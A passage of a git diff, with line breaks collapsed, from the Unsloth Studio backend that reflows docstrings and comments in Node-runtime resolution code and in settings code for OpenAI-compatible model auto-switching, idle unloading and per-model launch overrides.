(setup.ps1): Vite 8 needs Node ^20.19 || >=22.12 || >=23, and both require npm >= 11 before accepting a system runtime._NPM_MAJOR_FLOOR = 11@@ -47,12 +38,10 @@ def _version_meets_floor(version: str) -> bool:def managed_node_dir() -> Path:- """Isolated Node install dir. Mirrors ``_find_llama_server_binary``: shares a- parent with llama.cpp -- ``<STUDIO_HOME>`` in custom mode, else legacy ``~/.unsloth``."""+ """Isolated Node install dir. Mirrors ``_find_llama_server_binary``: shares a parent with llama.cpp, ``<STUDIO_HOME>`` in custom mode, else legacy ``~/.unsloth``."""legacy_node = Path.home() / ".unsloth" / "node"try:- # Lazy import (mirrors _find_llama_server_binary) so this module stays- # importable even if utils.paths cannot be loaded.+ # Lazy import (mirrors _find_llama_server_binary) so this module stays importable even if utils.paths cannot be loaded.from utils.paths.storage_roots import studio_rootresolved = studio_root()@@ -63,8 +52,7 @@ def managed_node_dir() -> Path:is_legacy = resolved == legacy_studioreturn legacy_node if is_legacy else (resolved / "node")except (ImportError, OSError, ValueError):- # Degraded env (utils.paths unavailable): still honor an explicit- # STUDIO_HOME override before the legacy default, mirroring studio_root().+ # Degraded env (utils.paths unavailable): still honor an explicit STUDIO_HOME override before the legacy default, mirroring studio_root().override = (os.environ.get("UNSLOTH_STUDIO_HOME") or os.environ.get("STUDIO_HOME") or "").strip()@@ -94,8 +82,7 @@ def managed_node_bin_dir() -> Path | None:return None-# Success-only memoization, like _resolved_node: the installer may finish after the first probe, so a negative verdict-# must not stick until restart.+# Success-only memoization, like _resolved_node: the installer may finish after the first probe, so a negative verdict must not stick until restart._managed_node_ok: bool = False_usable_node_cache: dict[tuple[str, str | None], bool] = {}@@ -112,9 +99,7 @@ def _path_has_usable_node(require_npm: bool = True,require_npx: bool = True,) -> bool:- """Whether ``path`` provides what a stdio command actually uses. The installers gate- on node plus npm and never look at npx, so each launcher is checked against what it- needs: node alone, node plus npm, or node plus the npx that launches it."""+ """Whether ``path`` provides what a stdio command actually uses. The installers gate on node plus npm and never look at npx, so each launcher is checked against what it needs: node alone, node plus npm, or node plus the npx that launches it."""try:node = shutil.which("node", path = path)npm = shutil.which("npm", path = path) if require_npm else None@@ -129,9 +114,7 @@ def _path_has_usable_node(return Falselauncher = npx if require_npx else npmif _IS_WINDOWS and launcher:- # npm's generated npm.cmd and npx.cmd both run the node.exe beside them when- # there is one, so that is the runtime to validate, not whatever ``node``- # resolves to first.+ # npm's generated npm.cmd and npx.cmd both run the node.exe beside them when there is one, so that is the runtime to validate, not whatever ``node`` resolves to first.sibling = os.path.join(os.path.dirname(launcher), "node.exe")try:if os.path.isfile(sibling):@@ -140,9 +123,7 @@ def _path_has_usable_node(return Falseif not _probe_ok(node, _node_version_ok, path):return False- # The installers' npm floor still applies to an npx-only PATH: npx-cli.js hands off to- # the npm library beside it, so ``npx -v`` prints that npm's version and stands in for- # the missing npm launcher. Falling back to it keeps the floor instead of skipping it.+ # The installers' npm floor still applies to an npx-only PATH: npx-cli.js hands off to the npm library beside it, so ``npx -v`` prints that npm's version and stands in for the missing npm launcher. Falling back to it keeps the floor instead of skipping it.floor_launcher = npm if require_npm else (npx if require_npx else None)return _probe_ok(floor_launcher, _npm_version_ok, path) if floor_launcher else True@@ -152,11 +133,7 @@ def _probe_ok(check,path: str | None = None,) -> bool:- """Version check for one executable, memoized on success (see _usable_node_cache).- The PATH is part of the key: npm and npx are ``#!/usr/bin/env node`` scripts, so the- same shim resolves a different runtime under a different PATH and can clear the floor- on one and fail it on another. Keying on the executable alone would let the first- PATH that passed answer for every later one."""+ """Version check for one executable, memoized on success (see _usable_node_cache). The PATH is part of the key: npm and npx are ``#!/usr/bin/env node`` scripts, so the same shim resolves a different runtime under a different PATH and can clear the floor on one and fail it on another. Keying on the executable alone would let the first PATH that passed answer for every later one."""cache_key = (executable, path)if _usable_node_cache.get(cache_key):return True@@ -173,9 +150,7 @@ def _managed_probe_path() -> str | None:def managed_node_usable() -> bool:- """Whether the managed Node clears the version floor, mirroring the managed branch- of resolve_node_executable(). Setup leaves an install in place when it picks the- system runtime, so a stale dir must not win the lookup."""+ """Whether the managed Node clears the version floor, mirroring the managed branch of resolve_node_executable(). Setup leaves an install in place when it picks the system runtime, so a stale dir must not win the lookup."""global _managed_node_okif _managed_node_ok:return True@@ -193,9 +168,7 @@ def path_with_managed_node(require_npm: bool = True,require_npx: bool = True,) -> str:- """``base_path`` (default: this process's PATH) with the managed Node bin dir- moved to the front, unchanged when it is unusable or the PATH already resolves a- runtime. The installer puts it on PATH for setup only, so subprocesses need it."""+ """``base_path`` (default: this process's PATH) with the managed Node bin dir moved to the front, unchanged when it is unusable or the PATH already resolves a runtime. The installer puts it on PATH for setup only, so subprocesses need it."""current = os.environ.get("PATH", "") if base_path is None else base_pathbin_dir = managed_node_bin_dir()if bin_dir is None:@@ -209,8 +182,7 @@ def path_with_managed_node(# An empty component means the working directory on POSIX; dropping it loses it.entries = current.split(os.pathsep) if current else []normalized = os.path.normcase(os.path.normpath(bin_str))- # Drop any existing occurrence rather than keep it: this runs only when PATH resolves no usable- # runtime, so a managed dir sitting behind a stale one must move up.+ # Drop any existing occurrence rather than keep it: this runs only when PATH resolves no usable runtime, so a managed dir sitting behind a stale one must move up.kept = [entryfor entry in entries@@ -234,9 +206,7 @@ def _probe_version(meets_floor,path: str | None = None,) -> bool:- """Run ``<executable> -v`` and apply ``meets_floor``; False on any error. ``path`` is- the PATH the server would run with: npm and npx are ``#!/usr/bin/env node`` scripts,- so probing them under the backend's own PATH can fail to find the candidate's node."""+ """Run ``<executable> -v`` and apply ``meets_floor``; False on any error. ``path`` is the PATH the server would run with: npm and npx are ``#!/usr/bin/env node`` scripts, so probing them under the backend's own PATH can fail to find the candidate's node."""try:result = subprocess.run([executable, "-v"],@@ -255,8 +225,7 @@ def _probe_version(return meets_floor(result.stdout)-# Memoize ONLY a confirmed version-adequate executable: the installer runs in a separate process-# and may finish after the first probe, so a negative result must not stick until a restart.+# Memoize ONLY a confirmed version-adequate executable: the installer runs in a separate process and may finish after the first probe, so a negative result must not stick until a restart._resolved_node: str | None = None@@ -267,12 +236,7 @@ def _reset_resolved_node() -> None:def resolve_node_executable() -> str | None:- """Resolve a usable node executable, or None.-- Order: version-adequate system ``node`` on PATH; else the managed isolated- Node if adequate; else bare ``node`` (may be None). Only an adequate result- is memoized, so a Node installed after the first probe is picked up live.- """+ """Resolve a usable node executable, or None. Order: version-adequate system ``node`` on PATH, else the managed isolated Node if adequate, else bare ``node`` (may be None). Only an adequate result is memoized, so a Node installed after the first probe is picked up live."""global _resolved_nodeif _resolved_node is not None:return _resolved_nodediff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.pyindex 9ca05a93ff2..f4bf24345ee 100644--- a/studio/backend/utils/openai_auto_switch_settings.py+++ b/studio/backend/utils/openai_auto_switch_settings.py@@ -1,41 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Persisted opt-in controls for OpenAI-compatible model auto-switching.--All off by default so existing API behavior is unchanged:-- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model``- names a downloaded local model different from the loaded one transparently- loads it before serving (llama-swap-style). Covers GGUF through llama.cpp and- non-GGUF weights (safetensors, MLX) through the inference orchestrator.- Unknown names pass through.-- ``openai_api_auto_download_model``: when on, a ``/v1`` request naming an- undownloaded GGUF repo starts a background download instead of failing.- Gated on auto-switch, which is what serves the model once it lands.-- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is- unloaded after this many idle seconds to free VRAM. Enabled values have a- 60s floor (0 stays "off"): a tiny TTL tears the model down between turns of- an active chat, forcing a full weight reload + prompt re-prefill per turn.-- ``media_api_auto_switch_model``: the image/video twin of the first setting.- A media request naming a downloaded image or video model loads it before- generating, unloading the resident one once the work in flight has drained.- Its own setting for the same reason the media TTL is: the chat toggle says- nothing about pipelines the user loaded on the Image or Video page.-- ``media_auto_unload_idle_seconds``: the same for the image and video- pipelines. Its own setting, not a share of the chat one: this section is- about the OpenAI API and nothing here says it frees a model the user loaded- on the Image or Video page, so turning that one on must not start evicting- these.--Either idle TTL can also be set at startup via ``UNSLOTH_MODEL_IDLE_TTL`` /-``UNSLOTH_MEDIA_IDLE_TTL``. Unlike the stored setting (which stays gated on-auto-switch), the env value is a standalone default that enables idle-unload-even with auto-switch off, for headless/container deploys; an explicit UI/API-value still overrides it.--Reads are cached for a short window because these are consulted on the-per-request hot path; writes invalidate the cache.-"""+"""Persisted opt-in controls for OpenAI-compatible model auto-switching, all off by default so existing API behavior is unchanged. ``openai_api_auto_switch_model``: a ``/v1`` request whose ``model`` names a downloaded local model different from the loaded one transparently loads it first (llama-swap-style), GGUF through llama.cpp and non-GGUF weights through the inference orchestrator; unknown names pass through. ``openai_api_auto_download_model``: a ``/v1`` request naming an undownloaded GGUF repo starts a background download instead of failing, gated on auto-switch which is what serves it once it lands. ``openai_api_auto_unload_idle_seconds``: unload the loaded GGUF after this many idle seconds; enabled values have a 60s floor (0 stays "off") because a tiny TTL tears the model down between turns of an active chat, forcing a full weight reload plus prompt re-prefill per turn. ``media_api_auto_switch_model`` is the image/video twin of the first, and ``media_auto_unload_idle_seconds`` of the third: their own settings rather than a share of the chat ones, since this section is about the OpenAI API and nothing here says it frees a model the user loaded on the Image or Video page. Either idle TTL can also be set at startup via ``UNSLOTH_MODEL_IDLE_TTL`` / ``UNSLOTH_MEDIA_IDLE_TTL``; unlike the stored setting (which stays gated on auto-switch), the env value is a standalone default that enables idle-unload even with auto-switch off, for headless/container deploys, and an explicit UI/API value still overrides it. Reads are cached for a short window because these are on the per-request hot path; writes invalidate the cache."""from __future__ import annotations@@ -128,18 +94,13 @@ def get_media_auto_switch_enabled() -> bool:def get_stored_openai_auto_download_enabled() -> bool:- """The persisted auto-download flag, independent of auto-switch, so the UI- round-trips the saved value across an auto-switch toggle instead of erasing it."""+ """The persisted auto-download flag, independent of auto-switch, so the UI round-trips the saved value across an auto-switch toggle instead of erasing it."""parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_DOWNLOAD_SETTING_KEY, None))return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_DOWNLOAD_ENABLEDdef get_openai_auto_download_enabled() -> bool:- """Whether a /v1 request may download a GGUF repo it names but doesn't have.-- Gated on auto-switch: that is what loads the model once it lands, so without- it we would fetch gigabytes nothing can serve.- """+ """Whether a /v1 request may download a GGUF repo it names but doesn't have. Gated on auto-switch: that is what loads the model once it lands, so without it we would fetch gigabytes nothing can serve."""return get_stored_openai_auto_download_enabled() and get_openai_auto_switch_enabled()@@ -157,10 +118,7 @@ _env_floor_warned: set[str] = set()def _env_ttl(var: str) -> Optional[int]:- """``var`` as a non-negative seconds value, or None if unset/invalid.-- Floored to MIN_AUTO_UNLOAD_IDLE_SECONDS here (with a one-time warning) since- headless/container deploys have no UI to surface a validation error."""+ """``var`` as a non-negative seconds value, or None if unset/invalid. Floored to MIN_AUTO_UNLOAD_IDLE_SECONDS here (with a one-time warning) since headless/container deploys have no UI to surface a validation error."""raw = os.environ.get(var)if raw is None or not raw.strip():return None@@ -190,28 +148,17 @@ def _env_media_idle_seconds() -> Optional[int]:def get_stored_auto_unload_idle_seconds() -> int:- """The persisted idle-unload TTL, independent of whether auto-switch is on.-- The settings UI reads this so it can display and round-trip the saved value;- toggling auto-switch off must not erase it. Falls back to the env override so- the UI shows the startup default. The idle loop uses the gated reader below.- """+ """The persisted idle-unload TTL, independent of whether auto-switch is on. The settings UI reads this so it can display and round-trip the saved value; toggling auto-switch off must not erase it. Falls back to the env override so the UI shows the startup default. The idle loop uses the gated reader below."""stored = _stored_idle_seconds()if stored is not None:- # Floor legacy values persisted before the minimum existed, so the UI- # displays the effective TTL and round-trips it cleanly.+ # Floor legacy values persisted before the minimum existed, so the UI displays the effective TTL and round-trips it cleanly.return _apply_idle_floor(stored)env = _env_idle_seconds()return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDSdef get_stored_media_auto_unload_idle_seconds() -> int:- """The persisted image/video idle TTL, before any veto.-- The settings UI reads this so it can display and round-trip the saved value.- Falls back to the env override so the UI shows the startup default. The idle- loop uses the gated reader below.- """+ """The persisted image/video idle TTL, before any veto. The settings UI reads this so it can display and round-trip the saved value, and it falls back to the env override so the UI shows the startup default. The idle loop uses the gated reader below."""stored = _stored_media_idle_seconds()if stored is not None:return _apply_idle_floor(stored)@@ -230,49 +177,27 @@ def _residency_vetoes_unload() -> bool:def get_auto_unload_idle_seconds() -> int:"""Effective idle TTL the idle loop runs on (0 = never unload)."""- # Model Memory residency vetoes the TTL. Effective reader only, so the stored- # reader keeps the number the user typed and it returns when they turn it off.+ # Model Memory residency vetoes the TTL. Effective reader only, so the stored reader keeps the number the user typed and it returns when they turn it off.if _residency_vetoes_unload():return 0stored = _stored_idle_seconds()if stored is not None:- # An explicit UI/API value stays gated on auto-switch: off reports 0 so the- # off state is identical to pre-feature. Floored to cover values persisted- # before the minimum existed.+ # An explicit UI/API value stays gated on auto-switch: off reports 0 so the off state is identical to pre-feature. Floored to cover values persisted before the minimum existed.return _apply_idle_floor(stored) if get_openai_auto_switch_enabled() else 0- # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that- # enables idle-unload even with auto-switch off (headless/container deploys).+ # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that enables idle-unload even with auto-switch off (headless/container deploys).env = _env_idle_seconds()return env if env is not None else 0def get_media_auto_unload_idle_seconds() -> int:- """Effective idle TTL for the image and video backends (0 = never unload).-- Its own setting, off by default: the chat TTL lives under "Model auto-switch- (OpenAI API)" and says nothing about image or video, so inheriting it would- start evicting pipelines on upgrade for everyone who had turned that on.- UNSLOTH_MEDIA_IDLE_TTL is the startup default when nothing is stored, exactly- as UNSLOTH_MODEL_IDLE_TTL is for chat.-- Residency vetoes it like the chat reader. "Only unload models loaded by the- API" does not veto it here: media auto-switch gives a request its own way to- load a pipeline, so the two origins now have to be told apart per model, which- media_keepwarm does with the provenance the load routes record. With- auto-switch off nothing but the user ever loads one, so that per-model rule- spares every resident model and the outcome is unchanged.- """+ """Effective idle TTL for the image and video backends (0 = never unload). Its own setting, off by default: the chat TTL lives under "Model auto-switch (OpenAI API)" and says nothing about image or video, so inheriting it would start evicting pipelines on upgrade for everyone who had turned that on. UNSLOTH_MEDIA_IDLE_TTL is the startup default when nothing is stored, as UNSLOTH_MODEL_IDLE_TTL is for chat. Residency vetoes it like the chat reader. "Only unload models loaded by the API" does not veto it here: media auto-switch gives a request its own way to load a pipeline, so the two origins are told apart per model, which media_keepwarm does with the provenance the load routes record; with auto-switch off nothing but the user ever loads one, so that rule spares every resident model and the outcome is unchanged."""if _residency_vetoes_unload():return 0return get_stored_media_auto_unload_idle_seconds()def idle_unload_is_configured() -> bool:- """The user's idle-unload setting, ignoring the residency veto.-- Residency zeroes the effective TTL without them turning idle unload off, so- anything deciding whether to DISCARD saved state reads this, not the gated one.- """+ """The user's idle-unload setting, ignoring the residency veto. Residency zeroes the effective TTL without them turning idle unload off, so anything deciding whether to DISCARD saved state reads this, not the gated one."""stored = _stored_idle_seconds()if stored is not None:return _apply_idle_floor(stored) > 0 and get_openai_auto_switch_enabled()@@ -397,17 +322,10 @@ def set_openai_auto_switch()-# An override is the server-side twin of the UI's per-model config, mirrored on every save so an API-# load applies the same launch settings the picker would; every field is optional and absent means-# "app default". Mirrors _valid_cache_types in core/inference/llama_cpp.py.-# Legacy entries hold just {llama_extra_args, max_seq_length}, and a write replaces the fields it expresses, so the-# route carries `llama_extra_args` over. Known gap: the picker's global fallbacks for GPU memory mode and speculative-# decoding live in browser localStorage, so an API load following the global gets the default.-# --- Per-model launch config -------------------------------------------------+# An override is the server-side twin of the UI's per-model config, mirrored on every save so an API load applies the same launch settings the picker would; every field is optional and absent means "app default". Mirrors _valid_cache_types in core/inference/llama_cpp.py. Legacy entries hold just {llama_extra_args, max_seq_length}, and a write replaces the fields it expresses, so the route carries `llama_extra_args` over. Known gap: the picker's global fallbacks for GPU memory mode and speculative decoding live in browser localStorage, so an API load following the global gets the default.VALID_KV_CACHE_DTYPES = frozenset({"f16", "bf16", "q8_0", "q4_0", "q4_1", "q5_0", "q5_1", "iq4_nl", "f32"})-# Canonical values plus the legacy spellings LoadRequest still accepts.VALID_SPECULATIVE_TYPES = frozenset({"auto",@@ -423,8 +341,7 @@ VALID_SPECULATIVE_TYPES = frozenset("draft-dflash","ngram-mod","ngram-simple",- # /load canonicalizes these three to "off"; without them here _clean_str- # drops the field, so a saved disable became no override at all.+ # /load canonicalizes these three to "off"; without them here _clean_str drops the field, so a saved disable became no override at all."none","disable","disabled",@@ -434,11 +351,9 @@ VALID_SPECULATIVE_TYPES = frozenset(DRAFT_N_MAX_SPEC_TYPES = frozenset({"mtp", "mtp+ngram", "draft-mtp", "dspark", "draft-dspark", "dflash", "draft-dflash"})-# Only these load a separate draft model, and so a draft context for the dtype to apply to.-# Mirrors SEPARATE_DRAFT_MODEL_SPEC_TYPES in the UI.+# Only these load a separate draft model, and so a draft context for the dtype to apply to. Mirrors SEPARATE_DRAFT_MODEL_SPEC_TYPES in the UI.SEPARATE_DRAFT_MODEL_SPEC_TYPES = frozenset({"dspark", "draft-dspark", "dflash", "draft-dflash"})-# Mirrors _LOAD_MODE_VALUES in llama_server_args.py. "auto" is the llama.cpp default and is not-# stored: an entry holding it would pin what a build may redefine.+# Mirrors _LOAD_MODE_VALUES in llama_server_args.py. "auto" is the llama.cpp default and is not stored: an entry holding it would pin what a build may redefine.VALID_LOAD_MODES = frozenset({"none", "mmap", "mlock", "mmap+mlock", "dio"})# Mirrors CTX_CHECKPOINTS_MAX / CACHE_RAM_MAX_MIB in llama_server_args.py.CTX_CHECKPOINTS_MAX = 256@@ -461,10 +376,7 @@ MAX_CHAT_TEMPLATE_OVERRIDE_BYTES = 65_536# Highest device index a gpu_ids entry may name; also bounds how many ids one entry holds.MAX_GPU_ID = 1024-# Which index space a stored gpu_ids belongs to: the same integers are ggml Vulkan ordinals-# under a Vulkan build and physical device ids elsewhere, so the namespace travels with the-# ids or a pin addresses another card. Mirrors GpuIndexKind in hooks/gpu-selection.ts,-# legacy rule included: an absent kind is "physical".+# Which index space a stored gpu_ids belongs to: the same integers are ggml Vulkan ordinals under a Vulkan build and physical device ids elsewhere, so the namespace travels with the ids or a pin addresses another card. Mirrors GpuIndexKind in hooks/gpu-selection.ts, legacy rule included: an absent kind is "physical".VALID_GPU_INDEX_KINDS = frozenset({"physical", "vulkan"})LEGACY_GPU_INDEX_KIND = "physical"@@ -477,16 +389,13 @@ def _clean_str(value: Any, allowed: frozenset[str]) -> Optional[str]:def _bounded_int(value: Any, *, minimum: int, maximum: int) -> Optional[int]:- # bool subclasses int, so `gpu_ids: [true, false]` would pin GPUs 1 and 0.if isinstance(value, bool):return None- # int(1.5) is 1, which would silently mangle a fractional context.if isinstance(value, float) and not value.is_integer():return Nonetry:parsed = int(value)except (TypeError, ValueError, OverflowError):- # OverflowError is float("inf"), which json.loads accepts as `Infinity`.return Noneif parsed < minimum or parsed > maximum:return None@@ -496,21 +405,7 @@ def _bounded_int(value: Any, *, minimum: int, maximum: int) -> Optional[int]:def normalize_model_override(payload: dict[str, Any], *, keep_empty_extra_args: bool = False) -> dict[str, Any]:- """Validate one per-model launch config, dropping anything unusable.-- Silently drops rather than raising: an override is a convenience mirror of the- UI's config, so one stale field (a KV dtype this llama.cpp build lost, a GPU id- from another host) must not block persisting the rest or fail the API load that- reads it. ``validate_extra_args`` is the caller's job -- it lives in the- llama_server_args allow-list module, which this one must not import.-- ``keep_empty_extra_args`` keeps an explicit empty list, which is the difference- between "this model has no launch flags" and "nothing is stored for this model".- They are the same thing everywhere except under a fallback: a quant whose row is- gone reads the bare repository row instead, so a cleared box would come back- holding whatever that legacy row carries. Off by default, since a row saying only- that is worth storing in exactly one case.- """+ """Validate one per-model launch config, dropping anything unusable. Silently drops rather than raising: an override is a convenience mirror of the UI's config, so one stale field (a KV dtype this llama.cpp build lost, a GPU id from another host) must not block persisting the rest or fail the API load that reads it. ``validate_extra_args`` is the caller's job, since it lives in the llama_server_args allow-list module this one must not import. ``keep_empty_extra_args`` keeps an explicit empty list, the difference between "this model has no launch flags" and "nothing is stored for this model": the same thing everywhere except under a fallback, where a quant whose row is gone reads the bare repository row instead and a cleared box would come back holding whatever that legacy row carries."""entry: dict[str, Any] = {}extra_args = payload.get("llama_extra_args")@@ -519,7 +414,6 @@ def normalize_model_override(elif keep_empty_extra_args and isinstance(extra_args, (list, tuple)):entry["llama_extra_args"] = []- # 0 / negative means "unset"; the loader reads absence as the app default.for key in ("max_seq_length", "custom_context_length"):parsed = _bounded_int(payload.get(key), minimum = 1, maximum = MAX_SEQ_LENGTH_CEILING)if parsed:@@ -537,14 +431,12 @@ def normalize_model_override(speculative_type = _clean_str(payload.get("speculative_type"), VALID_SPECULATIVE_TYPES)if speculative_type:entry["speculative_type"] = speculative_type- # Only the modes that launch a drafter with a configurable depth- # Those modes are MTP, DSpark and DFlash; storing it otherwise shows an edit the loader ignores.+ # Only the modes that launch a drafter with a configurable depth (MTP, DSpark, DFlash); storing it otherwise shows an edit the loader ignores.if speculative_type in DRAFT_N_MAX_SPEC_TYPES:spec_draft_n_max = _bounded_int(payload.get("spec_draft_n_max"), minimum = 1, maximum = 16)if spec_draft_n_max:entry["spec_draft_n_max"] = spec_draft_n_max- # Same rule, narrower set: the dtype needs a separate draft model, and only- # the sidecar modes always load one.+ # Same rule, narrower set: the dtype needs a separate draft model, and only the sidecar modes always load one.if speculative_type in SEPARATE_DRAFT_MODEL_SPEC_TYPES:spec_draft_cache_type = _clean_str(payload.get("spec_draft_cache_type"), VALID_KV_CACHE_DTYPES@@ -552,14 +444,12 @@ def normalize_model_override(if spec_draft_cache_type:entry["spec_draft_cache_type"] = spec_draft_cache_type- # Blank or out of range means "follow the server-wide --parallel default".n_parallel = _bounded_int(payload.get("n_parallel"), minimum = PARALLEL_SLOTS_MIN, maximum = PARALLEL_SLOTS_MAX)if n_parallel:entry["n_parallel"] = n_parallel- # blank or out of range means "follow the llama.cpp defaults (2048 / 512)"for key in ("n_batch", "n_ubatch"):parsed = _bounded_int(payload.get(key), minimum = BATCH_SIZE_MIN, maximum = BATCH_SIZE_MAX)if parsed:@@ -569,8 +459,7 @@ def normalize_model_override(if load_mode:entry["load_mode"] = load_mode- # 0 and -1 are meaningful (no checkpoints; no cache limit), so these store on- # "is not None" rather than on truth, unlike the batch sizes above.+ # 0 and -1 are meaningful (no checkpoints; no cache limit), so these store on "is not None" rather than on truth, unlike the batch sizes above.ctx_checkpoints = _bounded_int(payload.get("ctx_checkpoints"), minimum = 0, maximum = CTX_CHECKPOINTS_MAX)@@ -586,15 +475,12 @@ def normalize_model_override(if _coerce_bool(payload.get("tensor_parallel")):entry["tensor_parallel"] = True- # Stored only when set.- # Like tensor_parallel: absent means the default, so an override that never touched the switch does not pin it off- # for a later load.+ # Stored only when set. Like tensor_parallel: absent means the default, so an override that never touched the switch does not pin it off for a later load.if _coerce_bool(payload.get("disable_vision")):entry["disable_vision"] = Truetemplate = payload.get("chat_template_override")if isinstance(template, str) and template.strip():- # A lone surrogate from JSON breaks encode() and can never render, so drop it.try:template_bytes = len(template.encode("utf-8"))except UnicodeEncodeError:@@ -602,11 +488,9 @@ def normalize_model_override(if template_bytes <= MAX_CHAT_TEMPLATE_OVERRIDE_BYTES:entry["chat_template_override"] = template- # Only "manual" is a real override: "auto" would stop the model following the global.if _clean_str(payload.get("gpu_memory_mode"), VALID_GPU_MEMORY_MODES) == "manual":entry["gpu_memory_mode"] = "manual"- # -1 is Auto (llama.cpp --fit), which is the default, so only >= 0 is stored.gpu_layers = _bounded_int(payload.get("gpu_layers"), minimum = 0, maximum = 1024)if gpu_layers is not None:entry["gpu_layers"] = gpu_layers@@ -617,8 +501,7 @@ def normalize_model_override(gpu_ids = payload.get("gpu_ids")if isinstance(gpu_ids, (list, tuple)) and gpu_ids:- # De-duplicate, preserving order: resolve_requested_gpu_ids rejects a repeat, so- # [0, 0] would 400 every later load. A set, not a scan, keeps a long array linear.+ # De-duplicate, preserving order: resolve_requested_gpu_ids rejects a repeat, so [0, 0] would 400 every later load. A set, not a scan, keeps a long array linear.cleaned_ids: list[int] = []seen_ids: set[int] = set()for gid in gpu_ids:@@ -629,8 +512,7 @@ def normalize_model_override(if cleaned_ids:entry["gpu_ids"] = cleaned_idsindex_kind = _clean_str(payload.get("gpu_index_kind"), VALID_GPU_INDEX_KINDS)- # Stored only when it is not the legacy default, so existing rows stay- # byte-identical.+ # Stored only when it is not the legacy default, so existing rows stay byte-identical.if index_kind and index_kind != LEGACY_GPU_INDEX_KIND:entry["gpu_index_kind"] = index_kind@@ -638,25 +520,13 @@ def normalize_model_override(def stored_gpu_index_kind(override: Mapping[str, Any]) -> str:- """The index space ``override["gpu_ids"]`` was written in.-- Absent means physical, which is the only thing any writer before the field could- have meant. Anything unrecognised means the same: a row this build cannot read is- not evidence of a Vulkan pin.- """+ """The index space ``override["gpu_ids"]`` was written in. Absent means physical, the only thing any writer before the field could have meant; anything unrecognised means the same, since a row this build cannot read is not evidence of a Vulkan pin."""kind = override.get("gpu_index_kind")return kind if kind in VALID_GPU_INDEX_KINDS else LEGACY_GPU_INDEX_KINDdef resolve_fit_max_seq_length(override: dict[str, Any], *, is_gguf: bool) -> Optional[int]:- """The ``max_seq_length`` an API load should send for this override.-- Mirrors resolveFitMaxSeqLength in the UI (features/chat/presets/preset-policy.ts):- under Manual GPU memory with Auto layers, llama.cpp's ``--fit`` owns context- sizing, so the load sends the explicit context pin (or 0 to hand sizing over)- rather than the stored max sequence length. Returns None to leave the field- at the loader's default.- """+ """The ``max_seq_length`` an API load should send for this override. Mirrors resolveFitMaxSeqLength in the UI (features/chat/presets/preset-policy.ts): under Manual GPU memory with Auto layers, llama.cpp's ``--fit`` owns context sizing, so the load sends the explicit context pin (or 0 to hand sizing over) rather than the stored max sequence length. None leaves the field at the loader's default."""manual_auto_layers = (is_ggufand override.get("gpu_memory_mode") == "manual"@@ -664,19 +534,11 @@ def resolve_fit_max_seq_length(override: dict[str, Any], *, is_gguf: bool) -> Op)if manual_auto_layers:return override.get("custom_context_length") or 0- # max_seq_length wins where both are set; they only collide in a legacy or hand-written entry.return override.get("max_seq_length") or override.get("custom_context_length")def model_override_load_kwargs(override: dict[str, Any], *, is_gguf: bool) -> dict[str, Any]:- """Map a stored per-model config onto ``LoadRequest`` keyword arguments.-- Mirrors the UI's load payload (features/chat/api/chat-adapter.ts) so an API- auto-switch load and a picker load of the same model produce the same command- line. GPU placement is GGUF-only there, so it is gated the same way here: a- safetensors model loads through HF auto-placement and must not inherit a- hidden GGUF GPU pin.- """+ """Map a stored per-model config onto ``LoadRequest`` keyword arguments. Mirrors the UI's load payload (features/chat/api/chat-adapter.ts) so an API auto-switch load and a picker load of the same model produce the same command line. GPU placement is GGUF-only there, so it is gated the same way here: a safetensors model loads through HF auto-placement and must not inherit a hidden GGUF GPU pin."""if not override:return {}kwargs: dict[str, Any] = {}@@ -686,7 +548,6 @@ def model_override_load_kwargs(override: dict[str, Any], *, is_gguf: bool) -> dikwargs["max_seq_length"] = max_seq_lengthstored_extra_args = override.get("llama_extra_args")if stored_extra_args:- # Sanitized here because this is where stored data becomes a requestfrom core.inference.llama_server_args import drop_managed_flagskept, dropped = drop_managed_flags(stored_extra_args)@@ -700,7 +561,6 @@ def model_override_load_kwargs(override: dict[str, Any], *, is_gguf: bool) -> difor source, target in (("llama_extra_args", "llama_extra_args"),("kv_cache_dtype", "cache_type_kv"),- # Ungated like the UI's own load payload: non-MLX backends ignore it.("mlx_kv_bits", "mlx_kv_bits"),("speculative_type", "speculative_type"),("spec_draft_n_max", "spec_draft_n_max"),@@ -712,15 +572,12 @@ def model_override_load_kwargs(override: dict[str, Any], *, is_gguf: bool) -> dikwargs[target] = override[source]if is_gguf:- # Slots are a llama-server flag, and the picker sends them for GGUF only.if override.get("n_parallel") is not None:kwargs["n_parallel"] = override["n_parallel"]- # batch sizes are llama-server flags too (--batch-size / --ubatch-size)if override.get("n_batch") is not None:kwargs["n_batch"] = override["n_batch"]if override.get("n_ubatch") is not None:kwargs["n_ubatch"] = override["n_ubatch"]- # llama-server flags too, so GGUF-only like the rest of this blockfor key in ("load_mode", "spec_draft_cache_type", "ctx_checkpoints", "cache_ram"):if override.get(key) is not None:kwargs[key] = override[key]@@ -734,34 +591,25 @@ def model_override_load_kwargs(override: dict[str, Any], *, is_gguf: bool) -> dikwargs["gpu_ids"] = override["gpu_ids"]if kwargs.get("llama_extra_args"):- # One entry can hold a pass-through flag AND the field it shadows, and llama.cpp's last-wins parse would hand- # the load the stale flag, so the /load stripper is imported, not mirrored.- # The settings page has no control for flags, so a save carries the stored ones over (routes/settings.py); the- # imported stripper is _resolve_inherited_extra_args, and the allow-list this module stays out of is- # validate_extra_args.+ # One entry can hold a pass-through flag AND the field it shadows, and llama.cpp's last-wins parse would hand the load the stale flag, so the /load stripper (_resolve_inherited_extra_args) is imported, not mirrored. The settings page has no control for flags, so a save carries the stored ones over (routes/settings.py); the allow-list this module stays out of is validate_extra_args.from core.inference.llama_server_args import (matches_explicit_ctx_override,strip_shadowing_flags,)- # Context's load-time value is a VRAM-fit target.- # A MATCHING -c/--ctx-size is the user's opt-in to exceed the safe threshold and survives, while stale and- # malformed flags are still stripped; /props then publishes what was really allocated.+ # Context's load-time value is a VRAM-fit target. A MATCHING -c/--ctx-size is the user's opt-in to exceed the safe threshold and survives, while 